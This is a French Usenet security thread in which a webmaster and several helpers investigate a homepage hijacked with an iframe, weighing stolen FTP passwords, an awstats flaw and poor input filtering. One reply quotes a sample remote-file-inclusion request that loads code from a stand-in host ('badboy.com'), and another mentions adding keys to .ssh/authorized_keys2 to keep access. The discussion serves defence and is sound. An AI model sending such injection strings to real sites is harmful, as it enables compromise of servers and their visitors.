absolument. Comme je te disais, je ne suis pas un simple d'esprit.
> Entre autre, la remise en cause fait partie de la sécurité (qui est
> décidement tout sauf un process :) ).
effectivement
Kevin Denis
>
>>> la seconde, c'est que mon site n'est pas une cible particulièrement
>>> intéressante à pirater
>> Faux. Pour monter un site de phishing ou héberger le centre de contrôle
>> d'un botnet, un site quelconque chez un hébergeur quelconque est très
>> largment suffisant. Et sans doute moins surveillé qu'un "gros" site.
>
> mais c'est là que je m'étonne : la seule page piratée sur mon site c'est la
> homepage.
si comme tu dis plus haut la redirection se fait sur le site hebforum
c'est sans doute uniquement pour booster la frequentation de ce site,
mais ca me semble curieux.
Une autre raison pourrait etre l'inclusion de code offensif: tout les
internautes qui naviguent sur ton site se font infecter par la
page incluse dans l'iframe.
> si j'étais un pirate et que je cherchais à utiliser des sites web à leur
> insu, ça serait en me servant de dossiers ou de pages paumées et oubliées
> dans un coin... ?
>
pour infecter des gens, non, il vaut mieux se mettre sur la homepage.
>>> j'en déduis donc que c'est une cible facile
>> Une cible facile, pour ces gars là, c'est soit :
>> - un site avec une faille connue et aisément exploitable (awstats)
>> - un site exploitable via une faille de sécu générique (style
>> "/index.php?lang=http://badboy.com/hackme.php%00")
>> - un site dont il a déjà l'identifiant et mot de passe FTP
>
> awstats est une faille connue ? hmmm.
awstats me semble avoir un passe charge au niveau de la securite.
> mon hébergeur a justement ajouté awstats à webalizer dans les outils
> fournis.
>
>>> la troisième c'est que je ne rentre jamais de mots de passe, mon client
>>> FTP
>>> [...] s'en charge pour moi.
>> Donc le mot de passe est soit en base de registre soit sur disque. Et
>> l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
>> être envoyé en clair. Et ça fait des années que les backdoors/chevaux
>> de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
>> contrôle. Qui parfois les revend à des phishers ...
>
> effectivement.
> mais je gère des dizaines de sites web, avec le même outil, depuis le même
> ordinateur, et de la même façon. Je suis curieux de comprendre pourquoi un
> de ces sites est piraté et pas les autres.
hypothese personnelle:
le gars qui t'as attaque n'est pas tres malin. Il a utilise un outil tout
fait et s'est contente de cliquouiller un peu partout.
Il a trouve un login/pass et n'a pas regarde plus loin.
Mais je reverifierai tout de meme tous tes autres sites. Si un abruti
a pu venir sur un de tes sites, un gars plus fin (et beacoup plus
discret) a pu y aller aussi.
--
Kevin
Jean-noel Lafargue
> si comme tu dis plus haut la redirection se fait sur le site hebforum
> c'est sans doute uniquement pour booster la frequentation de ce site,
> mais ca me semble curieux.
ben oui, sachant que ma fréquentation est confidentielle et que hebforum n'a
rien à voir avec un site "rémurateur"... comprends pas.
> Une autre raison pourrait etre l'inclusion de code offensif: tout les
> internautes qui naviguent sur ton site se font infecter par la
> page incluse dans l'iframe.
ah, ça me semble assez crédible. Il faut que je voie ce que contient ce site
(qui a tout d'un site fantôme)
> pour infecter des gens, non, il vaut mieux se mettre sur la homepage.
oui là ça a un sens
>> awstats est une faille connue ? hmmm.
> awstats me semble avoir un passe charge au niveau de la securite.
j'ai un peu fouillé et c'est le cas jusqu'à la version 6.4 je crois, enfin
jusqu'à la version qui précède celle de mon hébergeur donc actuellement il
n'y a pas de faille connue dans cette config, mais je ne sais pas quand ils
ont fait la mise à jour.
> hypothese personnelle:
> le gars qui t'as attaque n'est pas tres malin. Il a utilise un outil tout
> fait et s'est contente de cliquouiller un peu partout.
> Il a trouve un login/pass et n'a pas regarde plus loin.
Il y a beaucoup d'outils tout faits pour les arnaques électroniques et ce ne
sont apparemment pas les ingénieurs en télécom qui les utilisent...
J'ai causé hier avec un responsable d'un des plus gros sites de vente en
ligne français et il me disait que les arnaques se multiplient (phishing de
plus en plus difficile à tracer, mais aussi malhonnêteté croissante du
personnel contractuel de la poste - sans être parano, car globalement les
postiers font très normalement leur métier, le nombre de colis évaporés,
mais aussi d'arnaques sophistiquées, ne cesse d'augmenter, et il semble que
ça ait un rapport avec le fait que ce n'est pas du personnel permanent mais
des intérimaires, des boites extérieures, etc.) et que le métier commence à
devenir difficile.
Du coup il ouvre un super-stor à Paris : c'est plus reposant que la VPC.
> Mais je reverifierai tout de meme tous tes autres sites. Si un abruti
> a pu venir sur un de tes sites, un gars plus fin (et beacoup plus
> discret) a pu y aller aussi.
hmmm.
Eric Razny
> "Eric Razny" <new...@razny.net> a écrit
> je suis venu ici en parler c'est justement précisément parce que je ne
> suis pas spécialiste. Le fait que j'aie certaines certitudes
Désolé si je t'ai vexé, mais c'est justement parce que tu amenais des
certitudes qui m'a gêné. Et j'ai réagis fortement car beaucoup de
débutants prennent les certitudes des intervenants pour argent comptant.
Et au niveau de la sécu ça ne pardonne pas trop.
> puisque le
> cerveau a constament besoin de certitudes pour avancer.
Comme le dirait Gabin je sais que je ne sais rien :)
Bon, ça fait déjà une certitude alors ça marche aussi.
> mais pourquoi sur la home page où c'est si facile à détecter ?
Comme d'autre l'ont suggéré c'est un emplacement privilégié pour un
code offensif. Perso je préfèrerais une autre page, pointée par la page
d'accueil, si mon code risque de produire une alerte sur le browser : les
gens auront plus tendance à penser à une erreur du site, alors que sur
la page d'accueil ça pousse à prévenir le webmaster.
Pour ton site, as tu seulement accès par ftp ou ton hébergeur
laisse-t-il d'autre accès?
Si tu t'es fait comprommettre un compte accessible par ssh, par exemple,
le gus en aura peut être profité pour "complèter" le classique
.ssh/authorized_keys2 par exemple. Et ça ça passe sans problème la
plupart des tests de vérification d'intégrité[1]
Sinon as-tu ré-interrogé ton hébergeur à propos des logs (emplacement
et protection, puisqu'apparement tu n'y as pas accès)?
Eric
[1] A leur décharge, à part avertir de l'existance du fichier je ne vois
pas trop comment décider, automatiquement, de ce qui est "bizarre"
Jean-noel Lafargue
> Désolé si je t'ai vexé, mais c'est justement parce que tu amenais des
> certitudes qui m'a gêné. Et j'ai réagis fortement car beaucoup de
> débutants prennent les certitudes des intervenants pour argent comptant.
> Et au niveau de la sécu ça ne pardonne pas trop.
Je ne me vexe pas facilement, mais je me défends.
>> puisque le
>> cerveau a constament besoin de certitudes pour avancer.
> Comme le dirait Gabin je sais que je ne sais rien :)
> Bon, ça fait déjà une certitude alors ça marche aussi.
Et selon les sciences cognitives et la neurologie (cf.Henri Laborit), sans
certitudes, on ne peut pas progresser, on vit dans le stress, on perd ses
cheveux et, pour survivre, on adopte une attitude agressive.
> Comme d'autre l'ont suggéré c'est un emplacement privilégié pour un
> code offensif. Perso je préfèrerais une autre page, pointée par la page
> d'accueil, si mon code risque de produire une alerte sur le browser : les
> gens auront plus tendance à penser à une erreur du site, alors que sur
> la page d'accueil ça pousse à prévenir le webmaster.
oui, c'est ce que je me dis d'expérience car chaque fois ce sont des amis
qui m'ont prévenu que ma home page était devenue bizarre.
> Pour ton site, as tu seulement accès par ftp ou ton hébergeur
> laisse-t-il d'autre accès?
> Si tu t'es fait comprommettre un compte accessible par ssh, par exemple,
> le gus en aura peut être profité pour "complèter" le classique
> .ssh/authorized_keys2 par exemple. Et ça ça passe sans problème la
> plupart des tests de vérification d'intégrité[1]
Mon hébergeur me donne accès au FTP (strictement réduit à mon dossier http),
pas de Telnet bien sûr. Il y a une console d'administration qui me permet
par ailleurs de créer des utilisateurs, des bases de données, etc.
Classique, a priori. Pas de web-FTP. Pour le reste je ne sais pas. Le
serveur n'est pas bourré d'outils, il y a bien les extensions Frontpage (je
crois que j'ai tout effacé). Il n'y a pas de SSH pour le "pack" que j'ai
choisi, mais certaines options commerciales y ont droit.
> Sinon as-tu ré-interrogé ton hébergeur à propos des logs (emplacement
> et protection, puisqu'apparement tu n'y as pas accès)?
Il est assez évasif et semble préférer l'idée que le problème vient de moi.
Bah...
Eric Razny
>>> puisque le
>>> cerveau a constament besoin de certitudes pour avancer.
>> Comme le dirait Gabin je sais que je ne sais rien :) Bon, ça fait
>> déjà une certitude alors ça marche aussi.
>
> Et selon les sciences cognitives et la neurologie (cf.Henri Laborit), sans
> certitudes, on ne peut pas progresser, on vit dans le stress, on perd ses
> cheveux et, pour survivre, on adopte une attitude agressive.
Je crois que tu vas devoir apprendre à interprêter les smilies (pardon,
émoticons)...
Quand aux sciences cognitives et à la neurologie, elles ne sont pas
l'apanage du seul Sieur Laborit[1]. Il avait d'ailleurs une
tendance à prolonger ses découvertes/théories (remarquables d'ailleurs)
au delà de leur portées réelles avec des généralisations ou des soit
disant implications parfois difficilement justifiables.
Bref merci de rester axé sur l'objet de ce forum au lieu d'utiliser des
théories interressante pour faire, in fine, de la psychologie de cuisine
à deux balles.
Fin de ce gag pour moi, revenons donc à nos moutons...
> Mon hébergeur me donne accès au FTP (strictement réduit à mon dossier
> http), pas de Telnet bien sûr. Il y a une console d'administration qui me
> permet par ailleurs de créer des utilisateurs, des bases de données,
> etc. Classique, a priori. Pas de web-FTP. Pour le reste je ne sais pas. Le
> serveur n'est pas bourré d'outils, il y a bien les extensions Frontpage
> (je crois que j'ai tout effacé). Il n'y a pas de SSH pour le "pack" que
> j'ai choisi, mais certaines options commerciales y ont droit.
En ce qui concerne ton cas c'est beaucoup mieux, car tes seuls accès
sont ftp et tes scripts. Voir ci-dessous.
>> Sinon as-tu ré-interrogé ton hébergeur à propos des logs
>> (emplacement et protection, puisqu'apparement tu n'y as pas accès)?
>
> Il est assez évasif et semble préférer l'idée que le problème vient
> de moi. Bah...
Amha tu as tout intérêt à faire une demande amiable d'abord -mais
ferme-, puis écrite en cas de refus d'explication sur la disparition des
logs. Outre le fait que tu aura une explication "définitive" sur ce point
ça te donne une certaine protection en cas de problèmes juridiques. Si
quelqu'un a subit des dommages en consultant ton site il peut
éventuellement se retourner contre toi au civil pour obtenir réparation
(le fait que ce soit très improbable ne signifie pas impossible). Ca ne
te mets pas à l'abris de tout mais montre que tu es concerné par le
problème et pose un doute sur l'hébergeur.
Néanmoins il est possible (c'est subjectif mais basé sur certains
éléments ayant trait à la méconnaissance de la sécu me poussent à le
croire) que le problème vient de ton login/passwd ftp dans la nature ou
d'un script qui ne filtre pas correctement les entrées. Ca n'explique pas
l'absence de log mais il est possible que ton hébergeur ait simplement
voulu cacher qu'il a merdé sur ce point (absence totale de log par
exemple).
A propos de log, ceux d'apache seront probablement bien interressant
(genre une forte activité avant les premières pages offenssives servies...)
Eric
[1] ils étaient au moins cinq par exemple dans l'élaboration de la
théorie psychosomatique : Groddeck, Selye, Alexander et Ryke Geerd Hamer
Jean-noel Lafargue
> Je crois que tu vas devoir apprendre à interprêter les smilies
>(pardon, émoticons)...
> Quand aux sciences cognitives et à la neurologie, elles ne sont pas
> l'apanage du seul Sieur Laborit[1]. Il avait d'ailleurs une
> tendance à prolonger ses découvertes/théories (remarquables d'ailleurs)
> au delà de leur portées réelles avec des généralisations ou des soit
> disant implications parfois difficilement justifiables.
Dans ma fac il a donné des cours en urbanisme (biologie et urbanisle), sans
être persuadé lui-même au départ qu'il y avait un rapport entre ses
découvertes sur les amphétamines et la "psychologie de la ville" qu'on
cherchait alors à inventer. Il a pourtant laissé une empreinte assez
profonde : les chercheurs qui extrapolent, c'est moins efficace que les
chercheurs bien appliqués dans leur coin, mais tellement plus excitant et
fertile au final.
> Bref merci de rester axé sur l'objet de ce forum au lieu d'utiliser des
> théories interressante pour faire, in fine, de la psychologie de cuisine
> à deux balles.
Pourquoi cette agressivité ? Je comprends pas !
Tu parles de Gabin : je comprends que tu rigoles, et je sors une phrase sur
les sciences cognitives (que je connais un peu en fait) et Laborit (dont on
ne parle jamais assez), qui normalement peut être comprise comme comique à
son tour (tout en n'étant pas fausse, peut-être est-ce ce qui te trouble).
Bon je sais bien que chaque forum a ses gardiens chargés de chasser ceux qui
y zonent au hasard, j'ai ce rôle sur un autre forum, je respecte. En même
temps c'est casse-pieds.
> Amha tu as tout intérêt à faire une demande amiable d'abord -mais
> ferme-, puis écrite en cas de refus d'explication sur la disparition des
> logs. Outre le fait que tu aura une explication "définitive" sur ce point
> ça te donne une certaine protection en cas de problèmes juridiques. Si
> quelqu'un a subit des dommages en consultant ton site il peut
> éventuellement se retourner contre toi au civil pour obtenir réparation
> (le fait que ce soit très improbable ne signifie pas impossible). Ca ne
> te mets pas à l'abris de tout mais montre que tu es concerné par le
> problème et pose un doute sur l'hébergeur.
En fait j'ai fait une petite enquête sur le site free qui héberge les pages
bizarres qui ont été incluses à la mienne. Ce site
(http://hebforum.free.fr/) est une copie mal faite d'un site associatif qui
existe (http://mediagora.free.fr/ ) et qui cache x pages telles que
http://hebforum.free.fr/Wrappers2.htm (...3.htm, 4.htm, etc.).
J'ai raconté l'histoire complète à Free et à la Gendarmerie. La gendarmerie
me recommande de tout noter (heures, dates, évènements) et de demander des
éclaircissements à mon fournisseur d'accès.
> Néanmoins il est possible (c'est subjectif mais basé sur certains
> éléments ayant trait à la méconnaissance de la sécu me poussent à le
> croire) que le problème vient de ton login/passwd ftp dans la nature ou
> d'un script qui ne filtre pas correctement les entrées. Ca n'explique pas
> l'absence de log mais il est possible que ton hébergeur ait simplement
> voulu cacher qu'il a merdé sur ce point (absence totale de log par
> exemple).
Mon interlocuteur avait l'air un peu étonné lui-même de voir que mes logs
FTP démarraient à la date du jour.
> A propos de log, ceux d'apache seront probablement bien interressant
> (genre une forte activité avant les premières pages offenssives
> servies...)
oui. Mais j'ai peur de ne pas bénéficier d'une oreille très attentive de la
part de mon hébergeur, j'ai peur qu'ils s'en fichent un peu, ils veulent
juste me convaincre qu'ils n'y sont pour rien.
Nicob
> awstats est une faille connue ? hmmm.
Dit plus clairement : certaines versions d'awstats présentent une
vulnérabilité bien connue et aisément exploitable.
Nicob